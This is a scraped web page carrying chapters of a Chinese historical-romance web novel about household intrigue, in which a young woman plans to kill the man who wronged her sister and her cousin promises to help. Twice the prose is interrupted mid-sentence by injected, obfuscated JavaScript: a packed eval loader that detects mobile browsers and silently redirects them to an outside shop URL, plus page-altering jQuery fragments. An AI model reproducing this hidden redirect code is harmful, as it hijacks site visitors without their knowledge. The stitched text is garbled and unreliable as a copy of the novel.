0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087245|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日都要问几遍，还嘱咐我们别急，等大夫看过再说。姑娘这时虽没大碍了，还是多待几天。何况大奶奶最近也……忙碌，等过了这……这个关节，姑娘再想去找谁玩都使得。” 银荷见她吞吐，便追问。 织雨有些不好意思启齿的样子，倒是小朝听见，憋不住了，竹筒倒豆子一般说：“万万没想到呀，亏当初我们还白替蝉影姐姐担心呢，结果怎样？——姑娘肯定猜不到，原来她另寻了如意归宿，竟是在外面跟了大爷，真真的。”小朝说到这里也不禁脸红，“大奶奶找过去，又把她带回府里，要她在老太太面前说清楚。见了老太太，她才说已有了……老太太听了还得了，一定要把她接进来。她真回来了，就是昨个儿。” 银荷确实惊讶，一时不知该说什么，便随口问了个最不相干的问题：“大奶奶是如何知道的？” “说来刚好凑到一起。”织雨说，“之前大爷把孙嬷嬷一家撵出去了，听说就是因为她儿子想要娶蝉影。这回是孙嬷嬷给大奶奶的信儿。” 银荷没再说什么。她还记得那个人，是追求蝉影不得后意欲用强，才被花沛赶出去的。 小朝又愤愤道：“我原先还以为她多么好，满口都是三姑娘，说得那么好听，走时却不肯见她们姑娘一面——原来是因为亏心。现在更没法见三姑娘了，要不是她一门心思攀高枝，在背后勾引了大爷——” 一股众叛亲离的寒意突然也浸透了银荷。“别胡说！”她喝断小朝。银荷在丫环们面前从来没有这样厉声厉色过，小朝吓得立马住了嘴。 “你怎么也……这样说她？”银荷低垂着眼睛，低低的声音说。 小朝红着脸：“我知道了，等两日我去看蝉影姐姐。” 银荷叹一口气：“我还是去园子里走走。” 她强迫自己向花澈院子走去。走一步，勇气就减少一分。站在外面，她恨不得再溜回去，但是已经太晚了。门外站着的小厮好像还是上回那个，因为没等她走近说话，那人就拉开了门，小心扶住。 银荷怀疑地看他一眼，没看见他神情——说不定连他都知道了！ 花澈正在等她。他吩咐说：“不问早晚，立即请她进来。” 他的疑惑还没得到完全解答，还是有一小块空白。但用什么补上都行，如今他已经不在乎了。 她给出的原因是好是坏，难道还有他不乐意接受的？银荷的身世根本无关紧要，对于她本人都不知道的事情，他无所谓。他想要的，是银荷能把她的每一面都完整地展现在他面前，世上唯有他一人，能够洞悉她的全部。 除了等待银荷自己来找他，他实在不知还能做什么。就因为缺少的那一块，他对她整个人都失去了把握。只有一事是确凿无疑的，除非他蠢到家才会意识不到：只要他说错一个字，做错一个动作，就再也听不到那样动听的“三表哥”了。 从银荷进屋直至元宝退下，花澈都没开口。银荷没敢多看他，也没察觉出他好像比她自己还紧张，因为她脑子里的那根弦已经绷到了最紧处。 不过，银荷已经做好了准备。一路上，她把要问的话在心里念了无数遍。她要确保自己旁的事一个字都不多讲，只要问明白这句话。一见到花澈，她就要直接说出来。 她说：“你认识葛全有？现下，他在哪儿？” 37. 同盟 花澈把葛全有其人快忘了个一干二净。上次回京路上，赶巧遇见葛全有进京，才想着借他激一激银荷。银荷不愿意看见葛全有，他亦不愿看见，那人再没有用了。 哪里想到，银荷答应冒充表姑娘的根源，那总是参不透的一小块，竟是葛全有！ 由银荷的神情和语气，花澈差不多明白了大半。可是，心里的后悔迫着他想要另一种解释。他抱着丁点儿希望，如实道：“认识。现下人在哪儿我不晓得，多一半还是在京里。” “你能找到他？” “能。” 银荷急急说：“请你帮我找到他，就这一次，往后绝不再麻烦你。” “我何时说过妹妹麻烦了？” 银荷扭身就走。 “等等，”花澈唤住她，“我答应你，但总得有个由头吧，你想要我请他来家？” 银荷站住，转过身，双眼冒着火。她一时说不出话，否则，她会冲到花澈面前：“他害死了你真正的表妹！他害死了老太太疼爱的人！他害死了我的姐姐！” 末了，她只是简单地说：“别来这儿。他欺负我，我要杀了他。” “那样的话，我去杀了他。”花澈的声音也很平静，但一层煞气蒙上他的脸，损坏了原本俊朗的面容。那道凶狠的神色电光般一现，又隐去了。“明天。”他说。 银荷愣住了。回过神后她将头扬起来：“不用你管，我要亲手杀了他！” 花澈盯着她看了一会儿：“之后呢？” “之后的事也不用你管，我绝不连累谁。” “你有把握一定杀得了他？”花澈很冷地问。 银荷亦冷冷回答：“他也不过是肉体凡胎，我不信杀他不死。” “那要看是谁动手。杀一个小丫头很容易。——杀葛全有，对你来说，太难了。” “我自己会想办法。你只要——” 花澈打断她：“你打算如何行事？直接上去刺他一刀，有没有那个准头？勒死他？或许妹妹有那个力气。下毒？放火？妹妹准备怎么做？” 他又说：“其实光杀他，真不是多么难办，但妹妹能做得没有动静、毫无破绽？葛家人会善罢甘休？捕快来抓你呢？能逃多久？” 银荷之前还哑口无言，这时终于可以昂然回答：“我没有想要逃掉。大不了我偿命就是。” 过了好久，花澈说：“想想老太太会多伤心，还有其他人，你都不在乎？” 银荷正要反驳，花澈又说：“罢了，别人都不相干，只想想你自己。大概半年后你会在菜市口被砍掉脑袋。很多人会去看，大家都会为你惋惜，可是有什么用，你还是要死。那时候，我去和你道别，你敢不敢对着我的眼睛说，你既不害怕也不后悔？”说完，花澈便牢牢盯着银荷的眼睛，好像此时铡刀立马就要落下。 当然害怕，不然上次也不会……如果有别的路可走，谁会把自己往绝路上逼？ “你瞧，你害怕了。这就对了，如果没怕过，你的胆量就毫无用处。” 银荷镇定下来。她对上花澈的双眼，在其中看到了自己的身影。霎时间，她仿佛在他的眼里燃烧。 “我会害怕，但是我绝不后悔，哪怕死一千次一万次，只要让葛全有死在我前头。” 两人沉默不语地对视一会儿，花澈说：“既然你下定决心了，我教你怎么杀死他，而你自己又不会有一点事。” “不过不是明天、后天，或者过几天。三五日是不可能的，妹妹可以等吗？” 银荷迟疑地看着他。“多久？” “不能心急。我什么时候觉得妹妹准备好了，就是什么时候。”花澈想了一下又说，“也不会很久，葛全有过不了年。” “好。” 当银荷顺来路返回时，心情比起一刻钟前可是大为不同。没料到花澈竟会这么容易说话，甚至于不关心情由。要是早知这么简单，何必苦苦煎熬那几日？想到前日，银荷猛然立住。“他原本一定以为我会软磨硬泡、想方设法非要嫁给他，相较之下，这个忙自然要好帮得多。这样我们就两清了，他也用不着过不去。” 银荷脸颊又发烫起来，但心中已不像先前那般火烧火燎地难受。 无论如何，问题解决了。她真的有了一个同盟，而且，是怎样的同盟啊——尽管摆不出理由，但银荷毫不怀疑，只要有花澈在，这件事相当于已经成功了一大半。 . 瑷宁一向很欣赏蝉影。蝉影说话办事干脆利落，还颇能识会算，要论才干，在丫环里面可是相当突出。不过，瑷宁最看重的还是她待花瑶一片忠心赤胆，几乎像母鸡护崽一样护着自家姑娘。 为着花瑶，蝉影连二太太都敢顶撞，更不必提二太太的外甥女，看到柔柔弱弱的戚晚被她噎得脸上又红又白，怎能不让人心头生快。 可惜了，忠心到底敌不过富贵。瑷宁看着站在面前的蝉影，遗憾地想。她对一旁丫环青岚说：“怎么站着不动，还不快去给姨奶奶上茶。” 青岚绷着脸，慢慢腾腾去了，门帘子摔出老大的动静。 蝉影还是一动不动垂首立着，虽看不见眼中神色，但她脸都没红半分，仿佛“姨奶奶”三字是说别人。 瑷宁仔细打量了蝉影几眼。她梳着回心髻，穿件丁香色并蒂莲纹裙子，脸容未必出奇，美在天生一副苗条艳丽的身段：柳腰花态，婀娜多姿。就是这么直直往跟前一站，竟带些娇慵之感，甚至连瑷宁都禁不住心生怜惜。 许就是因为这个才勾搭到花沛吧。瑷宁暗自鄙夷。 无论是谁，但凡有点儿能炫耀的，总忍不住要拿出来显一显。这不就飞上枝头了吗，才几天而已，原先的丫环模样就全没了。 想到这儿，瑷宁不由又有几分诧异。蝉影不像丫环像什么？她也不像个姨奶奶，当然更不是说她就成了小姐样子。小姐终归是小姐，丫环就是丫环。虽说除了穿衣打扮，言谈举止，瑷宁也说不出区别究竟何在，但绝混淆不了。 蝉影到底像什么，一时想不到，反正她身上有那么股子形容不出的劲儿。或许是因为这个吸引了花沛？ 瑷宁在心里凉凉地笑，笑她自己。管他是因为什么！事情已然如此，难道还想着从中吸取教训，再防下一个？ 她强捺了厌恶之情，开口道：“你还是坐下的好，刚有了身子，该当心才是。有什么话今天就说完吧，以后也不用来我这里。” “大奶奶不该恨我。”蝉影站着没动，低声说。 “我恨你做什么？”瑷宁笑出声，“你也太抬举自个儿了，还不至于。” 蝉影抬起脸来：“大奶奶信不信都好，我只是为了自保而已。本来并没想过……如今既进来了，我就全仰仗大奶奶了。大奶奶若嫌我，我也不敢硬凑上来，不过我是真心为了大奶奶的。” 瑷宁叹口气：“头疼得很，妈妈帮我按按。”周氏在她身后将她脑袋圈住在额侧按压起来。 瑷宁闭着眼睛说，“什么自保不自保的，又没人要害你。你放心，好好把孩子生下来就是，大家都盼着呢。” 蝉影上前小半步，低声说：“大奶奶恨我是恨错人了。” “我不是说了我不恨你，”瑷宁突然拨开周氏的手，站了起来，怀疑地看着蝉影，“你到底想说什么？” 恰这时青岚端了茶进来，蝉影看看她，没说话。 瑷宁便挥手要青岚出去，又说：“有什么话都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100199|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以当着周妈妈说。” 蝉影说：“我不是想把自己摘清，我只是……大奶奶该知道，真让大爷动了心思的人是表姑娘。” “表姑娘不是已经——”瑷宁疑惑道。 “大奶奶还不明白？”蝉影看着瑷宁，目光中甚至带了几分怜悯，“不是戚晚。” 瑷宁不可置信地瞪着蝉影。 过往的事情一桩桩、一件件，简直就是摆在鼻子底下，可笑她竟然从未往那面想过。她仍带着一线希望向蝉影求证，蝉影对着她的目光，轻轻点点头：“是曲表姑娘，我亲眼见到的。” “见到什么？” “那天，就是曲姑娘刚从庄子回来那天，大爷拉住她，说了些话。大爷说他什么都可以为曲姑娘做。” “曲姑娘答应了？” 停了一会儿，蝉影摇摇头。瑷宁无力地坐了下去。周氏在一旁目瞪口呆。 “还求大奶奶不要告诉大爷。”看到瑷宁心不在焉地点头答应，蝉影又说一遍，“如今我就全仰仗大奶奶了。” 蝉影离开后良久，瑷宁还寂然不动。 这时候，想到蝉影像谁了——身形像，那点儿说不清道不明的东西也像。那东西在表姑娘身上，也让她新鲜活泼、与众各别。 瑷宁想哭又想笑。自己一直待表姑娘那么好，而她竟真能装出一副若无其事的样子，甚至找不出理由怪她！ 不怨自己没瞧出来，实在是表姑娘看起来太单纯良善。不光看起来——若说她不纯真，那天底下就没那样的人！哪怕将整个京城的姑娘摆到同样的位置上，最不可能卖弄风情的一个就是她了。 男人不会因为一个女人单纯良善而爱她，但也不会因为这个而不爱她。花沛不会。嫁他九年了，还能不知？ 可怕便可怕在这里，还以为只要没人主动勾引，花沛就不会变了心，可真是太信他了！ 见瑷宁枯坐许久，周氏不忍，劝解说：“奶奶还是保重自己的身子，别为这些事情犯愁。横竖也成不了，曲姑娘不是没答应吗？” “这么说我还得谢她？”瑷宁迸出泪来。 周氏不知该如何是好，将瑷宁搂入怀中。虽说她是瑷宁乳母，但主仆有别，自瑷宁大了后便再没这样过了。 瑷宁并未觉出有什么不对，她扑在周氏怀里，痛痛快快大哭了一场，周氏也跟着一起落下泪来。 哭过一阵，瑷宁拿帕子使劲擦了擦脸：“哭一哭倒是痛快不少。——还是得想个法子。” “要怎么办呢？”周氏犯难道。 “还能怎么办，等着闹出丑事吗？打发出去，这家里就清净了。” “要不得，还不如在眼皮底下好些。真到了外头，男人的办法更多，蝉影就是例！” “曲姑娘怎么会和蝉影一样？又不是把她撵到大街上。他们曲家不是还有人吗，回他们曲家去，就和我们无干了。” 周氏想了一想：“回曲家倒是个正理，只是怕也不好办。老太太从前可提过没有？” “直接告诉老太太就是，看她要谁。” “这可使不得。”周氏急道，“别着急，想想清楚，真要说破了对谁都没好处啊。大爷和你到底有多年的情分，就是一时昏头，总能回转过来。可万一事情张扬出去，曲姑娘嫁不了人，那时……” 瑷宁又掉下泪来。她现在想到另一层：之所以从来没疑过曲表姑娘，无非是因为根本不可能。表姑娘固然心高，老太太也不会答应，所以花沛的念头成不了真，哪怕他心里再想——去他的，她才不要这种保证。 “好，我帮他清了障碍，如果没有我……”瑷宁怨恨地想，拉住周氏，“妈妈帮我收拾东西，我想先回家待几天。”